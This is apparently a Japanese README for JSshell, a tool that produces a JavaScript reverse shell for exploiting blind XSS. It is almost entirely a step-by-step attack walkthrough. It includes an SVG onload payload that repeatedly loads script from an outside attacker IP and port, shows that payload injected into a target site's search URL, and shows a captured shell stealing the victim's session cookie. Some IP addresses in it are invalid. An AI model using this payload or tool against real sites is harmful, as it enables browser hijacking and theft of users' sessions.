
JSshell - JavaScript リバース/リモートシェル

JSshell - JavaScript リバースシェル。リモートでJSコードを実行したり、ブラインドXSSを悪用したりするために使用されます。
必要条件: 任意のOS + Python 2 または Python 3
JShell 3.1 の新バージョンでの更新:
snippet -> JavaScript コードのスニペットを記述できます>>> snippet
Use CTRL+D to finish the snippet
function new() {
new = 'New update: Support javascript snippet =)';
confirm(new)
}
new()
>>>
<body> リバースシェルペイロードを追加-g-p-s-w-cjsh.pyjsh.py -gjsh.py -p 1234jsh.py -s 48.586.1.23 -gjsh.py -c "alert(document.cookie)" -w 10これは JSshell の使い方をステップバイステップで説明した例です。
まず、リバース JS シェルペイロードを生成し、シェルタイムアウトを設定する必要があります (例: 20 秒):
~# whoami
root
~# ls
README.md jsh.py
~# python3 jsh.py -g -w 20
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
次に、このペイロードをウェブサイトに貼り付けます:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
ページにアクセスすると、リバース JS シェルが得られます:
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$
いくつかのコマンドを実行してみましょう:
$ var test = 'controlled'
$ confirm(test)
$
そしてアラートがポップアップ表示されます: controlled
$ prompt(document.cookie)
$
そしてブラウザはユーザーのクッキーを表示します: JSESSION=3bda8...
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#
これで終了です!
これは shelld3v によって作成されました!